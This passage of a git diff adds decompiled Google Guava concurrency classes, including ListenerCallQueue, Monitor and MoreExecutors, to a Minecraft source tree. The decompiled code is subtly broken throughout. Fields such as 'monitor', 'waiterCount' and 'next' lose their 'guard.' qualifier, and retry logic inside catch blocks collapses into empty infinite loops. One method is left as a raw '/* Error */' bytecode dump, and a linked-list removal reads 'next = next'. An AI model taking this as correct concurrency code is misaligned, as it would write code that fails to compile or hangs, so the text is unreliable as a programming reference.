+  
+  public void addListener(Runnable listener, Executor exec)
+  {
+    executionList.add(listener, exec);
+  }
+  
+
+
+
+  protected void done()
+  {
+    executionList.execute();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListenableScheduledFuture.java b/src/minecraft/com/google/common/util/concurrent/ListenableScheduledFuture.java
new file mode 100644
index 0000000..4205d5f
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListenableScheduledFuture.java
@@ -0,0 +1,9 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.ScheduledFuture;
+
+@Beta
+public abstract interface ListenableScheduledFuture<V>
+  extends ScheduledFuture<V>, ListenableFuture<V>
+{}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListenerCallQueue.java b/src/minecraft/com/google/common/util/concurrent/ListenerCallQueue.java
new file mode 100644
index 0000000..fd30cb2
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListenerCallQueue.java
@@ -0,0 +1,137 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Queues;
+import java.util.Queue;
+import java.util.concurrent.Executor;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ListenerCallQueue<L>
+  implements Runnable
+{
+  private static final Logger logger = Logger.getLogger(ListenerCallQueue.class.getName());
+  private final L listener;
+  private final Executor executor;
+  
+  static abstract class Callback<L> { private final String methodCall;
+    
+    Callback(String methodCall) { this.methodCall = methodCall; }
+    
+
+    abstract void call(L paramL);
+    
+    void enqueueOn(Iterable<ListenerCallQueue<L>> queues)
+    {
+      for (ListenerCallQueue<L> queue : queues) {
+        queue.add(this);
+      }
+    }
+  }
+  
+
+
+  @GuardedBy("this")
+  private final Queue<Callback<L>> waitQueue = Queues.newArrayDeque();
+  @GuardedBy("this")
+  private boolean isThreadScheduled;
+  
+  ListenerCallQueue(L listener, Executor executor) { this.listener = Preconditions.checkNotNull(listener);
+    this.executor = ((Executor)Preconditions.checkNotNull(executor));
+  }
+  
+  synchronized void add(Callback<L> callback)
+  {
+    waitQueue.add(callback);
+  }
+  
+  void execute()
+  {
+    boolean scheduleTaskRunner = false;
+    synchronized (this) {
+      if (!isThreadScheduled) {
+        isThreadScheduled = true;
+        scheduleTaskRunner = true;
+      }
+    }
+    if (scheduleTaskRunner) {
+      try {
+        executor.execute(this);
+      }
+      catch (RuntimeException e) {
+        synchronized (this) {
+          isThreadScheduled = false;
+        }
+        
+        logger.log(Level.SEVERE, "Exception while running callbacks for " + listener + " on " + executor, e);
+        
+
+        throw e;
+      }
+    }
+  }
+  
+  public void run() {
+    boolean stillRunning = true;
+    try {
+      for (;;) {
+        Callback<L> nextToRun;
+        synchronized (this) {
+          Preconditions.checkState(isThreadScheduled);
+          nextToRun = (Callback)waitQueue.poll();
+          if (nextToRun == null) {
+            isThreadScheduled = false;
+            stillRunning = false;
+            break;
+          }
+        }
+        
+        try
+        {
+          nextToRun.call(listener);
+        }
+        catch (RuntimeException e) {
+          logger.log(Level.SEVERE, "Exception while executing callback: " + listener + "." + methodCall, e);
+        }
+      }
+    }
+    finally
+    {
+      if (stillRunning)
+      {
+
+
+        synchronized (this) {
+          isThreadScheduled = false;
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListeningExecutorService.java b/src/minecraft/com/google/common/util/concurrent/ListeningExecutorService.java
new file mode 100644
index 0000000..1976fcd
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListeningExecutorService.java
@@ -0,0 +1,24 @@
+package com.google.common.util.concurrent;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public abstract interface ListeningExecutorService
+  extends ExecutorService
+{
+  public abstract <T> ListenableFuture<T> submit(Callable<T> paramCallable);
+  
+  public abstract ListenableFuture<?> submit(Runnable paramRunnable);
+  
+  public abstract <T> ListenableFuture<T> submit(Runnable paramRunnable, T paramT);
+  
+  public abstract <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> paramCollection)
+    throws InterruptedException;
+  
+  public abstract <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> paramCollection, long paramLong, TimeUnit paramTimeUnit)
+    throws InterruptedException;
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListeningScheduledExecutorService.java b/src/minecraft/com/google/common/util/concurrent/ListeningScheduledExecutorService.java
new file mode 100644
index 0000000..3dfef9d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListeningScheduledExecutorService.java
@@ -0,0 +1,19 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+@Beta
+public abstract interface ListeningScheduledExecutorService
+  extends ScheduledExecutorService, ListeningExecutorService
+{
+  public abstract ListenableScheduledFuture<?> schedule(Runnable paramRunnable, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract <V> ListenableScheduledFuture<V> schedule(Callable<V> paramCallable, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract ListenableScheduledFuture<?> scheduleAtFixedRate(Runnable paramRunnable, long paramLong1, long paramLong2, TimeUnit paramTimeUnit);
+  
+  public abstract ListenableScheduledFuture<?> scheduleWithFixedDelay(Runnable paramRunnable, long paramLong1, long paramLong2, TimeUnit paramTimeUnit);
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Monitor.java b/src/minecraft/com/google/common/util/concurrent/Monitor.java
new file mode 100644
index 0000000..a1e28e7
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Monitor.java
@@ -0,0 +1,1159 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Throwables;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Monitor
+{
+  private final boolean fair;
+  private final ReentrantLock lock;
+  
+  @Beta
+  public static abstract class Guard
+  {
+    final Monitor monitor;
+    final Condition condition;
+    @GuardedBy("monitor.lock")
+    int waiterCount = 0;
+    
+    @GuardedBy("monitor.lock")
+    Guard next;
+    
+
+    protected Guard(Monitor monitor)
+    {
+      this.monitor = ((Monitor)Preconditions.checkNotNull(monitor, "monitor"));
+      condition = lock.newCondition();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public abstract boolean isSatisfied();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GuardedBy("lock")
+  private Guard activeGuards = null;
+  
+
+
+
+
+  public Monitor()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+  public Monitor(boolean fair)
+  {
+    this.fair = fair;
+    lock = new ReentrantLock(fair);
+  }
+  
+
+
+  public void enter()
+  {
+    lock.lock();
+  }
+  
+
+  public void enterInterruptibly()
+    throws InterruptedException
+  {
+    lock.lockInterruptibly();
+  }
+  
+
+
+
+
+  public boolean enter(long time, TimeUnit unit)
+  {
+    long timeoutNanos = unit.toNanos(time);
+    ReentrantLock lock = this.lock;
+    if ((!fair) && (lock.tryLock())) {
+      return true;
+    }
+    long deadline = System.nanoTime() + timeoutNanos;
+    boolean interrupted = Thread.interrupted();
+    
+    try
+    {
+      return lock.tryLock(timeoutNanos, TimeUnit.NANOSECONDS);
+    } catch (InterruptedException interrupt) {
+      for (;;) { interrupted = true;
+        timeoutNanos = deadline - System.nanoTime();
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+
+
+
+  public boolean enterInterruptibly(long time, TimeUnit unit)
+    throws InterruptedException
+  {
+    return lock.tryLock(time, unit);
+  }
+  
+
+
+
+
+
+
+  public boolean tryEnter()
+  {
+    return lock.tryLock();
+  }
+  
+
+  public void enterWhen(Guard guard)
+    throws InterruptedException
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    boolean signalBeforeWaiting = lock.isHeldByCurrentThread();
+    lock.lockInterruptibly();
+    
+    boolean satisfied = false;
+    try {
+      if (!guard.isSatisfied()) {
+        await(guard, signalBeforeWaiting);
+      }
+      satisfied = true;
+    } finally {
+      if (!satisfied) {
+        leave();
+      }
+    }
+  }
+  
+
+
+  public void enterWhenUninterruptibly(Guard guard)
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    boolean signalBeforeWaiting = lock.isHeldByCurrentThread();
+    lock.lock();
+    
+    boolean satisfied = false;
+    try {
+      if (!guard.isSatisfied()) {
+        awaitUninterruptibly(guard, signalBeforeWaiting);
+      }
+      satisfied = true;
+    } finally {
+      if (!satisfied) {
+        leave();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean enterWhen(Guard guard, long time, TimeUnit unit)
+    throws InterruptedException
+  {
+    long timeoutNanos = unit.toNanos(time);
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    boolean reentrant = lock.isHeldByCurrentThread();
+    if ((fair) || (!lock.tryLock())) {
+      long deadline = System.nanoTime() + timeoutNanos;
+      if (!lock.tryLock(time, unit)) {
+        return false;
+      }
+      timeoutNanos = deadline - System.nanoTime();
+    }
+    
+    boolean satisfied = false;
+    boolean threw = true;
+    try {
+      satisfied = (guard.isSatisfied()) || (awaitNanos(guard, timeoutNanos, reentrant));
+      threw = false;
+      return satisfied;
+    } finally {
+      if (!satisfied) {
+        try
+        {
+          if ((threw) && (!reentrant)) {
+            signalNextWaiter();
+          }
+        } finally {
+          lock.unlock();
+        }
+      }
+    }
+  }
+  
+  /* Error */
+  public boolean enterWhenUninterruptibly(Guard guard, long time, TimeUnit unit)
+  {
+    // Byte code:
+    //   0: aload 4
+    //   2: lload_2
+    //   3: invokevirtual 10	java/util/concurrent/TimeUnit:toNanos	(J)J
+    //   6: lstore 5
+    //   8: aload_1
+    //   9: getfield 19	com/google/common/util/concurrent/Monitor$Guard:monitor	Lcom/google/common/util/concurrent/Monitor;
+    //   12: aload_0
+    //   13: if_acmpeq +11 -> 24
+    //   16: new 20	java/lang/IllegalMonitorStateException
+    //   19: dup
+    //   20: invokespecial 21	java/lang/IllegalMonitorStateException:<init>	()V
+    //   23: athrow
+    //   24: aload_0
+    //   25: getfield 1	com/google/common/util/concurrent/Monitor:lock	Ljava/util/concurrent/locks/ReentrantLock;
+    //   28: astore 7
+    //   30: invokestatic 12	java/lang/System:nanoTime	()J
+    //   33: lload 5
+    //   35: ladd
+    //   36: lstore 8
+    //   38: aload 7
+    //   40: invokevirtual 22	java/util/concurrent/locks/ReentrantLock:isHeldByCurrentThread	()Z
+    //   43: istore 10
+    //   45: invokestatic 13	java/lang/Thread:interrupted	()Z
+    //   48: istore 11
+    //   50: aload_0
+    //   51: getfield 5	com/google/common/util/concurrent/Monitor:fair	Z
+    //   54: ifne +11 -> 65
+    //   57: aload 7
+    //   59: invokevirtual 11	java/util/concurrent/locks/ReentrantLock:tryLock	()Z
+    //   62: ifne +61 -> 123
+    //   65: iconst_0
+    //   66: istore 12
+    //   68: aload 7
+    //   70: lload 5
+    //   72: getstatic 14	java/util/concurrent/TimeUnit:NANOSECONDS	Ljava/util/concurrent/TimeUnit;
+    //   75: invokevirtual 15	java/util/concurrent/locks/ReentrantLock:tryLock	(JLjava/util/concurrent/TimeUnit;)Z
+    //   78: istore 12
+    //   80: iload 12
+    //   82: ifne +20 -> 102
+    //   85: iconst_0
+    //   86: istore 13
+    //   88: iload 11
+    //   90: ifeq +9 -> 99
+    //   93: invokestatic 16	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   96: invokevirtual 17	java/lang/Thread:interrupt	()V
+    //   99: iload 13
+    //   101: ireturn
+    //   102: goto +8 -> 110
+    //   105: astore 13
+    //   107: iconst_1
+    //   108: istore 11
+    //   110: lload 8
+    //   112: invokestatic 12	java/lang/System:nanoTime	()J
+    //   115: lsub
+    //   116: lstore 5
+    //   118: iload 12
+    //   120: ifeq -52 -> 68
+    //   123: iconst_0
+    //   124: istore 12
+    //   126: aload_1
+    //   127: invokevirtual 23	com/google/common/util/concurrent/Monitor$Guard:isSatisfied	()Z
+    //   130: ifne +15 -> 145
+    //   133: aload_0
+    //   134: aload_1
+    //   135: lload 5
+    //   137: iload 10
+    //   139: invokespecial 27	com/google/common/util/concurrent/Monitor:awaitNanos	(Lcom/google/common/util/concurrent/Monitor$Guard;JZ)Z
+    //   142: ifeq +7 -> 149
+    //   145: iconst_1
+    //   146: goto +4 -> 150
+    //   149: iconst_0
+    //   150: dup
+    //   151: istore 12
+    //   153: istore 13
+    //   155: iload 12
+    //   157: ifne +8 -> 165
+    //   160: aload 7
+    //   162: invokevirtual 29	java/util/concurrent/locks/ReentrantLock:unlock	()V
+    //   165: iload 11
+    //   167: ifeq +9 -> 176
+    //   170: invokestatic 16	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   173: invokevirtual 17	java/lang/Thread:interrupt	()V
+    //   176: iload 13
+    //   178: ireturn
+    //   179: astore 13
+    //   181: iconst_1
+    //   182: istore 11
+    //   184: iconst_0
+    //   185: istore 10
+    //   187: lload 8
+    //   189: invokestatic 12	java/lang/System:nanoTime	()J
+    //   192: lsub
+    //   193: lstore 5
+    //   195: goto -69 -> 126
+    //   198: astore 14
+    //   200: iload 12
+    //   202: ifne +8 -> 210
+    //   205: aload 7
+    //   207: invokevirtual 29	java/util/concurrent/locks/ReentrantLock:unlock	()V
+    //   210: aload 14
+    //   212: athrow
+    //   213: astore 15
+    //   215: iload 11
+    //   217: ifeq +9 -> 226
+    //   220: invokestatic 16	java/lang/Thread:currentThread	()Ljava/lang/Thread;
+    //   223: invokevirtual 17	java/lang/Thread:interrupt	()V
+    //   226: aload 15
+    //   228: athrow
+    // Line number table:
+    //   Java source line #513	-> byte code offset #0
+    //   Java source line #514	-> byte code offset #8
+    //   Java source line #515	-> byte code offset #16
+    //   Java source line #517	-> byte code offset #24
+    //   Java source line #518	-> byte code offset #30
+    //   Java source line #519	-> byte code offset #38
+    //   Java source line #520	-> byte code offset #45
+    //   Java source line #522	-> byte code offset #50
+    //   Java source line #523	-> byte code offset #65
+    //   Java source line #526	-> byte code offset #68
+    //   Java source line #527	-> byte code offset #80
+    //   Java source line #528	-> byte code offset #85
+    //   Java source line #555	-> byte code offset #88
+    //   Java source line #556	-> byte code offset #93
+    //   Java source line #532	-> byte code offset #102
+    //   Java source line #530	-> byte code offset #105
+    //   Java source line #531	-> byte code offset #107
+    //   Java source line #533	-> byte code offset #110
+    //   Java source line #534	-> byte code offset #118
+    //   Java source line #537	-> byte code offset #123
+    //   Java source line #541	-> byte code offset #126
+    //   Java source line #550	-> byte code offset #155
+    //   Java source line #551	-> byte code offset #160
+    //   Java source line #555	-> byte code offset #165
+    //   Java source line #556	-> byte code offset #170
+    //   Java source line #543	-> byte code offset #179
+    //   Java source line #544	-> byte code offset #181
+    //   Java source line #545	-> byte code offset #184
+    //   Java source line #546	-> byte code offset #187
+    //   Java source line #547	-> byte code offset #195
+    //   Java source line #550	-> byte code offset #198
+    //   Java source line #551	-> byte code offset #205
+    //   Java source line #555	-> byte code offset #213
+    //   Java source line #556	-> byte code offset #220
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	229	0	this	Monitor
+    //   0	229	1	guard	Guard
+    //   0	229	2	time	long
+    //   0	229	4	unit	TimeUnit
+    //   6	188	5	timeoutNanos	long
+    //   28	178	7	lock	ReentrantLock
+    //   36	152	8	deadline	long
+    //   43	143	10	signalBeforeWaiting	boolean
+    //   48	168	11	interrupted	boolean
+    //   66	53	12	locked	boolean
+    //   124	77	12	satisfied	boolean
+    //   86	14	13	bool1	boolean
+    //   105	72	13	interrupt	InterruptedException
+    //   153	24	13	bool2	boolean
+    //   179	3	13	interrupt	InterruptedException
+    //   198	13	14	localObject1	Object
+    //   213	14	15	localObject2	Object
+    // Exception table:
+    //   from	to	target	type
+    //   68	88	105	java/lang/InterruptedException
+    //   126	155	179	java/lang/InterruptedException
+    //   126	155	198	finally
+    //   179	200	198	finally
+    //   50	88	213	finally
+    //   102	165	213	finally
+    //   179	215	213	finally
+  }
+  
+  public boolean enterIf(Guard guard)
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    lock.lock();
+    
+    boolean satisfied = false;
+    try {
+      return satisfied = guard.isSatisfied();
+    } finally {
+      if (!satisfied) {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+
+
+  public boolean enterIfInterruptibly(Guard guard)
+    throws InterruptedException
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    lock.lockInterruptibly();
+    
+    boolean satisfied = false;
+    try {
+      return satisfied = guard.isSatisfied();
+    } finally {
+      if (!satisfied) {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean enterIf(Guard guard, long time, TimeUnit unit)
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    if (!enter(time, unit)) {
+      return false;
+    }
+    
+    boolean satisfied = false;
+    try {
+      return satisfied = guard.isSatisfied();
+    } finally {
+      if (!satisfied) {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean enterIfInterruptibly(Guard guard, long time, TimeUnit unit)
+    throws InterruptedException
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    if (!lock.tryLock(time, unit)) {
+      return false;
+    }
+    
+    boolean satisfied = false;
+    try {
+      return satisfied = guard.isSatisfied();
+    } finally {
+      if (!satisfied) {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean tryEnterIf(Guard guard)
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    ReentrantLock lock = this.lock;
+    if (!lock.tryLock()) {
+      return false;
+    }
+    
+    boolean satisfied = false;
+    try {
+      return satisfied = guard.isSatisfied();
+    } finally {
+      if (!satisfied) {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+  public void waitFor(Guard guard)
+    throws InterruptedException
+  {
+    if (!(monitor == this & lock.isHeldByCurrentThread())) {
+      throw new IllegalMonitorStateException();
+    }
+    if (!guard.isSatisfied()) {
+      await(guard, true);
+    }
+  }
+  
+
+
+
+  public void waitForUninterruptibly(Guard guard)
+  {
+    if (!(monitor == this & lock.isHeldByCurrentThread())) {
+      throw new IllegalMonitorStateException();
+    }
+    if (!guard.isSatisfied()) {
+      awaitUninterruptibly(guard, true);
+    }
+  }
+  
+
+
+
+
+  public boolean waitFor(Guard guard, long time, TimeUnit unit)
+    throws InterruptedException
+  {
+    long timeoutNanos = unit.toNanos(time);
+    if (!(monitor == this & lock.isHeldByCurrentThread())) {
+      throw new IllegalMonitorStateException();
+    }
+    return (guard.isSatisfied()) || (awaitNanos(guard, timeoutNanos, true));
+  }
+  
+
+
+
+
+
+  public boolean waitForUninterruptibly(Guard guard, long time, TimeUnit unit)
+  {
+    long timeoutNanos = unit.toNanos(time);
+    if (!(monitor == this & lock.isHeldByCurrentThread())) {
+      throw new IllegalMonitorStateException();
+    }
+    if (guard.isSatisfied()) {
+      return true;
+    }
+    boolean signalBeforeWaiting = true;
+    long deadline = System.nanoTime() + timeoutNanos;
+    boolean interrupted = Thread.interrupted();
+    
+    try
+    {
+      return awaitNanos(guard, timeoutNanos, signalBeforeWaiting);
+    } catch (InterruptedException interrupt) {
+      for (;;) { interrupted = true;
+        if (guard.isSatisfied()) {
+          return true;
+        }
+        signalBeforeWaiting = false;
+        timeoutNanos = deadline - System.nanoTime();
+      }
+    }
+    finally {
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+
+
+  public void leave()
+  {
+    ReentrantLock lock = this.lock;
+    try
+    {
+      if (lock.getHoldCount() == 1) {
+        signalNextWaiter();
+      }
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+
+
+  public boolean isFair()
+  {
+    return fair;
+  }
+  
+
+
+
+  public boolean isOccupied()
+  {
+    return lock.isLocked();
+  }
+  
+
+
+
+  public boolean isOccupiedByCurrentThread()
+  {
+    return lock.isHeldByCurrentThread();
+  }
+  
+
+
+
+  public int getOccupiedDepth()
+  {
+    return lock.getHoldCount();
+  }
+  
+
+
+
+
+
+  public int getQueueLength()
+  {
+    return lock.getQueueLength();
+  }
+  
+
+
+
+
+
+  public boolean hasQueuedThreads()
+  {
+    return lock.hasQueuedThreads();
+  }
+  
+
+
+
+
+
+  public boolean hasQueuedThread(Thread thread)
+  {
+    return lock.hasQueuedThread(thread);
+  }
+  
+
+
+
+
+
+  public boolean hasWaiters(Guard guard)
+  {
+    return getWaitQueueLength(guard) > 0;
+  }
+  
+
+
+
+
+
+  public int getWaitQueueLength(Guard guard)
+  {
+    if (monitor != this) {
+      throw new IllegalMonitorStateException();
+    }
+    lock.lock();
+    try {
+      return waiterCount;
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GuardedBy("lock")
+  private void signalNextWaiter()
+  {
+    for (Guard guard = activeGuards; guard != null; guard = next) {
+      if (isSatisfied(guard)) {
+        condition.signal();
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GuardedBy("lock")
+  private boolean isSatisfied(Guard guard)
+  {
+    try
+    {
+      return guard.isSatisfied();
+    } catch (Throwable throwable) {
+      signalAllWaiters();
+      throw Throwables.propagate(throwable);
+    }
+  }
+  
+
+
+  @GuardedBy("lock")
+  private void signalAllWaiters()
+  {
+    for (Guard guard = activeGuards; guard != null; guard = next) {
+      condition.signalAll();
+    }
+  }
+  
+
+
+  @GuardedBy("lock")
+  private void beginWaitingFor(Guard guard)
+  {
+    int waiters = waiterCount++;
+    if (waiters == 0)
+    {
+      next = activeGuards;
+      activeGuards = guard;
+    }
+  }
+  
+
+
+  @GuardedBy("lock")
+  private void endWaitingFor(Guard guard)
+  {
+    int waiters = --waiterCount;
+    if (waiters == 0)
+    {
+      Guard p = activeGuards; for (Guard pred = null;; p = next) {
+        if (p == guard) {
+          if (pred == null) {
+            activeGuards = next;
+          } else {
+            next = next;
+          }
+          next = null;
+          break;
+        }
+        pred = p;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GuardedBy("lock")
+  private void await(Guard guard, boolean signalBeforeWaiting)
+    throws InterruptedException
+  {
+    if (signalBeforeWaiting) {
+      signalNextWaiter();
+    }
+    beginWaitingFor(guard);
+    try {
+      do {
+        condition.await();
+      } while (!guard.isSatisfied());
+    } finally {
+      endWaitingFor(guard);
+    }
+  }
+  
+  @GuardedBy("lock")
+  private void awaitUninterruptibly(Guard guard, boolean signalBeforeWaiting) {
+    if (signalBeforeWaiting) {
+      signalNextWaiter();
+    }
+    beginWaitingFor(guard);
+    try {
+      do {
+        condition.awaitUninterruptibly();
+      } while (!guard.isSatisfied());
+    } finally {
+      endWaitingFor(guard);
+    }
+  }
+  
+  @GuardedBy("lock")
+  private boolean awaitNanos(Guard guard, long nanos, boolean signalBeforeWaiting) throws InterruptedException
+  {
+    if (signalBeforeWaiting) {
+      signalNextWaiter();
+    }
+    beginWaitingFor(guard);
+    try {
+      boolean bool;
+      do { if (nanos < 0L) {
+          return false;
+        }
+        nanos = condition.awaitNanos(nanos);
+      } while (!guard.isSatisfied());
+      return true;
+    } finally {
+      endWaitingFor(guard);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/MoreExecutors.java b/src/minecraft/com/google/common/util/concurrent/MoreExecutors.java
new file mode 100644
index 0000000..5b3ac55
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/MoreExecutors.java
@@ -0,0 +1,940 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import com.google.common.base.Throwables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Queues;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Delayed;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.ScheduledThreadPoolExecutor;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MoreExecutors
+{
+  private MoreExecutors() {}
+  
+  @Beta
+  public static ExecutorService getExitingExecutorService(ThreadPoolExecutor executor, long terminationTimeout, TimeUnit timeUnit)
+  {
+    return new Application().getExitingExecutorService(executor, terminationTimeout, timeUnit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static ScheduledExecutorService getExitingScheduledExecutorService(ScheduledThreadPoolExecutor executor, long terminationTimeout, TimeUnit timeUnit)
+  {
+    return new Application().getExitingScheduledExecutorService(executor, terminationTimeout, timeUnit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static void addDelayedShutdownHook(ExecutorService service, long terminationTimeout, TimeUnit timeUnit)
+  {
+    new Application().addDelayedShutdownHook(service, terminationTimeout, timeUnit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static ExecutorService getExitingExecutorService(ThreadPoolExecutor executor)
+  {
+    return new Application().getExitingExecutorService(executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static ScheduledExecutorService getExitingScheduledExecutorService(ScheduledThreadPoolExecutor executor)
+  {
+    return new Application().getExitingScheduledExecutorService(executor);
+  }
+  
+  @VisibleForTesting
+  static class Application {
+    Application() {}
+    
+    final ExecutorService getExitingExecutorService(ThreadPoolExecutor executor, long terminationTimeout, TimeUnit timeUnit) {
+      MoreExecutors.useDaemonThreadFactory(executor);
+      ExecutorService service = Executors.unconfigurableExecutorService(executor);
+      addDelayedShutdownHook(service, terminationTimeout, timeUnit);
+      return service;
+    }
+    
+    final ScheduledExecutorService getExitingScheduledExecutorService(ScheduledThreadPoolExecutor executor, long terminationTimeout, TimeUnit timeUnit)
+    {
+      MoreExecutors.useDaemonThreadFactory(executor);
+      ScheduledExecutorService service = Executors.unconfigurableScheduledExecutorService(executor);
+      addDelayedShutdownHook(service, terminationTimeout, timeUnit);
+      return service;
+    }
+    
+    final void addDelayedShutdownHook(final ExecutorService service, final long terminationTimeout, TimeUnit timeUnit)
+    {
+      Preconditions.checkNotNull(service);
+      Preconditions.checkNotNull(timeUnit);
+      addShutdownHook(MoreExecutors.newThread("DelayedShutdownHook-for-" + service, new Runnable()
+      {
+
+        public void run()
+        {
+
+          try
+          {
+
+            service.shutdown();
+            service.awaitTermination(terminationTimeout, val$timeUnit);
+          }
+          catch (InterruptedException ignored) {}
+        }
+      }));
+    }
+    
+    final ExecutorService getExitingExecutorService(ThreadPoolExecutor executor)
+    {
+      return getExitingExecutorService(executor, 120L, TimeUnit.SECONDS);
+    }
+    
+    final ScheduledExecutorService getExitingScheduledExecutorService(ScheduledThreadPoolExecutor executor)
+    {
+      return getExitingScheduledExecutorService(executor, 120L, TimeUnit.SECONDS);
+    }
+    
+    @VisibleForTesting
+    void addShutdownHook(Thread hook) { Runtime.getRuntime().addShutdownHook(hook); }
+  }
+  
